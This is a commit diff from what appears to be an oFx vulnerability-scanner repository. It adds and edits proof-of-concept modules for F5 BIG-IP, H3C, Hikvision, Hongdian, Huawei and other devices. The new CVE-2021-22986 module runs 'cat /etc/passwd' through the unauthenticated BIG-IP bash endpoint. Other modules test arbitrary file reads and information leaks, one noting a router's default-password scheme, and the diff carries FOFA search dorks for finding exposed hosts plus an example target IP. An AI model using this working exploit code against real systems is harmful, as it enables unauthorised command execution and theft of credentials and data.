poc/F5_BIG_IP/File_Read_CVE_2020_5902/poc.py
View File

@@ -33,7 +33,7 @@ class POC(POCBase):
""", # 漏洞简要描述
"fofa-dork":"""
title="BIG-IP®"
title="BIG-IP®"
""", # fofa搜索语句
"example" : "https://54.206.65.62:443", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管

BIN
poc/F5_BIG_IP/RCE_CVE_2021-22986/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

75
poc/F5_BIG_IP/RCE_CVE_2021-22986/poc.py Normal file
View File

@@ -0,0 +1,75 @@
# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
略
""", # POC描述，写更新描述，没有就不写
"name" : "CVE-2021-22986 RCE", # 漏洞名称
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
"VulnDesc" : """
""", # 漏洞简要描述
"fofa-dork":"""
title="BIG-IP®"
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "/mgmt/tm/util/bash" # url自己按需调整
data = r'''{"command": "run", "utilCmdArgs": "-c 'cat /etc/passwd'"}'''
headers = {"User-Agent":get_random_ua(),
'Accept': '*/*',
'Connection': 'close',
'Authorization': 'Basic YWRtaW46',
'X-F5-Auth-Token': '',
'Content-Type': 'application/json'
}
try:
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.post(url,data=data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "root:/root" in req.text and req.status_code == 200:
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()

BIN
poc/FLIR_菲力尔/Download_File_AX8/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/FLIR_菲力尔/Download_File_AX8/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "FLIR-AX8 download.php 任意文件下载", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "FLIR-AX8", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

59
poc/Flask_Ssti_CVE-2017-12636/poc.py
View File

@@ -1,59 +0,0 @@
# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
# ...
import urllib3
urllib3.disable_warnings()
_info = {
"author" : "", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
该POC不具备使用价值，请忽略
""", # POC描述，写更新描述，没有就不写
"name" : "Flask 模板注入", # 漏洞名称
"AppName" : "Flask", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
"VulnDesc" : """
""", # 漏洞简要描述
"fofa-dork":"", # fofa搜索语句
"example" : "", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
"timeout" : 10, # 超时设定
}
def verify(host,proxy):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]
url = url_handle(host) + "/?name={{233*233}}" # url自己按需调整
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
# "Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑，漏洞存在则修改vuln值，漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = proxy ,timeout = self.timeout,verify = False)
if req.status_code == 200 and "54289" in req.text:
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
return vuln

BIN
poc/Grafana/File_Read_plugins/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/H2_DataBase/UnAuth_Access/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/H2_DataBase/UnAuth_Access/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "H2 数据库 Web控制台未授权访问", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "H2 数据库", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/H3C/File_Download_SecPath_WAF/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

11
poc/H3C/File_Download_SecPath_WAF/poc.py
View File

@@ -10,15 +10,16 @@ class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"version" : "2", # POC版本，默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
略
v1 : 略
v2 : 小改进
""", # POC描述，写更新描述，没有就不写
"name" : "H3C SecPath 下一代防火墙 任意文件下载漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "H3C SecPath 下一代防火墙", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
@@ -55,11 +56,11 @@ class POC(POCBase):
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req0 = requests.get(url0,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
req0 = requests.get(url0,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False,allow_redirects=False)
if "root::" in req0.text and req0.status_code == 200 :
vuln = [True,req0.text]
else:
req1 = requests.get(url1,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
req1 = requests.get(url1,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False,allow_redirects=False)
if "root:" in req1.text and req1.status_code == 200:
vuln = [True,req1.text]
else:

BIN
poc/HIKVISION/File_Down_Gateway_downFile_php/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/HIKVISION/File_Down_Gateway_downFile_php/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "HIKVISION 视频编码设备接入网关 任意文件下载", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "海康威视视频接入网关系统", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/HIKVISION/File_Read_Stream_Media_Manager/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

BIN
poc/HIKVISION/Weak_Pass_Stream_Media_Manager/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/HIKVISION/Weak_Pass_Stream_Media_Manager/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "HIKVISION 流媒体管理服务器弱口令", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "HIKVISION 流媒体管理服务器", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/HST_好视通/File_Download/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/HST_好视通/File_Download/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "好视通视频会议平台 任意文件下载", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "好视通视频会议平台", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/Hongdian_宏电/Backstage_File_Read_CVE_2021_28152/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

7
poc/Hongdian_宏电/Backstage_File_Read_CVE_2021_28152/poc.py
View File

@@ -10,11 +10,12 @@ class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"version" : "2", # POC版本，默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
笔者没有zoomeye高级账号，所以就没测试了，换而言之，该POC不一定靠谱
v1 : 笔者没有zoomeye高级账号，所以就没测试了，换而言之，该POC不一定靠谱
v2 : 笔者特地去zoomeye找资产测试，然后做了点优化，这回应该靠谱了
""", # POC描述，写更新描述，没有就不写
"name" : "宏电 H8922 后台任意文件读取漏洞", # 漏洞名称
@@ -56,7 +57,7 @@ class POC(POCBase):
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "root:" in req.text and req.status_code == 200:
if "root:" in req.text and req.status_code == 200 and "application/octet-stream" in req.headers["Content-Type"]:
vuln = [True,req.text]
else:
vuln = [False,req.text]

BIN
poc/Huawei/File_Read_HG659_lib/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

2
poc/Huawei/File_Read_HG659_lib/poc.py
View File

@@ -18,7 +18,7 @@ class POC(POCBase):
""", # POC描述，写更新描述，没有就不写
"name" : "Huawei HG659 lib 任意文件读取漏洞", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"VulnID" : "oFx-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "Huawei HG659", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx

BIN
poc/Huawei/Info_Disclosure_DG8045/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

74
poc/Huawei/Info_Disclosure_DG8045/poc.py Normal file
View File

@@ -0,0 +1,74 @@
# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本，默认是1
"CreateDate" : "2022-01-01", # POC创建时间
"UpdateDate" : "2022-01-01", # POC创建时间
"PocDesc" : """
略
""", # POC描述，写更新描述，没有就不写
"name" : "华为路由器敏感信息泄露 DG8045 Router 1.0", # 漏洞名称
"VulnID" : "oFx-2022-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
"AppName" : "华为DG8045路由器", # 漏洞应用名称
"AppVersion" : "1.0版本", # 漏洞应用版本
"VulnDate" : "2022-01-01", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
"VulnDesc" : """
路由器默认密码是序列号的最后8位
""", # 漏洞简要描述
"fofa-dork":"""
app="DG8045-Home-Gateway-DG8045"
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url，写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞：vuln = [True,html_source] # html_source就是页面源码
不存在漏洞：vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "/api/system/deviceinfo" # url自己按需调整
headers = {
"User-Agent":get_random_ua(),
"Connection":"close",
"X-Requested-With": "XMLHttpRequest",
# "Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "SerialNumber" in req.text and "DeviceName" in req.text:
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()

BIN
poc/HuiWen_汇文/Info_Disclosure/__pycache__/poc.cpython-38.pyc Normal file
View File

Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More